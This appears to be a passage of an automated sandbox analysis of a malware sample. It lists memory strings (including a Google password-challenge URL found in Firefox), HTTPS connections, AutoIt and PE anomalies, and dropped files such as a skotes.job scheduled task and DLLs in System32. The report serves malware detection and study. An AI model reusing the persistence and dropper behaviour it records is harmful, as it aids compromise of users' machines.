Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: b6ea789a1a.exe, 00000018.00000003.3257104400.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: b6ea789a1a.exe, 00000018.00000003.3257104400.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2106384143.0000000005C7B000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3088498338.0000000005559000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3257104400.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: b6ea789a1a.exe, 00000018.00000003.3257104400.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000026.00000002.3682799849.000001FC2FD13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000026.00000002.3682799849.000001FC2FD13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource:///modules/UrlbarPrefs.sys.mjsSELECT
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: file.exe, 00000000.00000003.2106384143.0000000005C7B000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3088498338.0000000005559000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3257104400.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: firefox.exe, 00000026.00000002.3351960809.000001FC2955C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3310164418.000001A639DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3308105822.00000211D9AC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000026.00000002.3657398984.000001FC2DB50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: file.exe, 00000000.00000003.2106384143.0000000005C7B000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3088498338.0000000005559000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3257104400.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000026.00000002.3308336001.000000B3B3B3B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000026.00000002.3696585297.000001FC31591000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3658097048.000001FC2DC94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29FAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/removeAndDeletePluginDirectoryensureProperCDMInstallStateprocessPendingFile
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000026.00000002.3696585297.000001FC31591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/toolkit/about/aboutPlugins.ftlget
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000026.00000002.3703163798.00001A8C37B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 00000026.00000002.3689100267.000001FC303AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000026.00000002.3675675057.000001FC2EA9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000026.00000002.3682799849.000001FC2FD1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000002A.00000002.3313127047.00000211D9B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.co
Source: firefox.exe, 00000026.00000002.3329290402.000001FC1DD11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3308157252.000001A639AF0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3307624817.000001A639AB4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3308157252.000001A639AFA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3313127047.00000211D9B84000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3307205748.00000211D98CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000024.00000002.3232405164.000002431D837000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3250068394.0000024527CA9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3319851628.000001FC1DA29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000026.00000002.3349505457.000001FC1F9E8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3349505457.000001FC1F9B0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3308157252.000001A639AF0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3307624817.000001A639AB4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3313127047.00000211D9B84000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3307205748.00000211D98C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdUpdateService:_postU
Source: firefox.exe, 0000002A.00000002.3307205748.00000211D98C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdb
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwddocument.getElementB
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdgetElevationRequired
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdhandleUpdateFailure
Source: firefox.exe, 0000002A.00000002.3307205748.00000211D98CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdv
Source: firefox.exe, 00000026.00000002.3319851628.000001FC1DA29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdy
Source: firefox.exe, 00000026.00000002.3682799849.000001FC2FD1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accountremoveAttributeOrEquivalentremoveDocumentStateListener.panel-header
Source: firefox.exe, 00000026.00000002.3702876641.0000148126900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comL
Source: firefox.exe, 00000026.00000002.3703673149.00002BFB0F600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comZ

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.9.202:443 -> 192.168.2.5:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.68:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50034 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 9fee9e49cf.exe, 00000019.00000002.3266135687.0000000000642000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_c090c4a3-d
Source: 9fee9e49cf.exe, 00000019.00000002.3266135687.0000000000642000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_819ed96d-f
Source: random[1].exe1.7.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_00a5678b-1
Source: random[1].exe1.7.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_e8bccfa2-e

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: RYM16770HTK1NZSZ1PW5P28.exe.0.dr	Static PE information: section name:
Source: RYM16770HTK1NZSZ1PW5P28.exe.0.dr	Static PE information: section name: .idata
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.0.dr	Static PE information: section name:
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.0.dr	Static PE information: section name: .idata
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.0.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: b6ea789a1a.exe.7.dr	Static PE information: section name:
Source: b6ea789a1a.exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: fc0b992f89.exe.7.dr	Static PE information: section name:
Source: fc0b992f89.exe.7.dr	Static PE information: section name: .rsrc
Source: fc0b992f89.exe.7.dr	Static PE information: section name: .idata
Source: fc0b992f89.exe.7.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num[1].exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Windows\System32\svchost.exe

Code function: 18_2_0000000180004DB0 Sleep,DeleteFileW,OpenSCManagerW,GetLastError,OpenServiceW,GetLastError,DeleteService,CloseServiceHandle,CloseServiceHandle,

18_2_0000000180004DB0

Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	File created: C:\Windows\Tasks\skotes.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	File created: C:\Windows\System32\BackupOfflineDownload.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	File created: C:\Windows\134349.bin	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\ThreadRestartTerminal.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\RemotePrinterSecurity.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_53lj2gm0.ps4.ps1

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Code function: 3_2_007BE05F	3_2_007BE05F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_0098E530	7_2_0098E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_009C78BB	7_2_009C78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_009C7049	7_2_009C7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_009C8860	7_2_009C8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_009C31A8	7_2_009C31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00984DE0	7_2_00984DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_009C2D10	7_2_009C2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_009C779B	7_2_009C779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00984B30	7_2_00984B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_009B7F36	7_2_009B7F36
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E528C0	18_2_00007FF8B7E528C0
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E6F8EC	18_2_00007FF8B7E6F8EC
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E6C080	18_2_00007FF8B7E6C080
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E62874	18_2_00007FF8B7E62874
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E6A81C	18_2_00007FF8B7E6A81C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E51000	18_2_00007FF8B7E51000
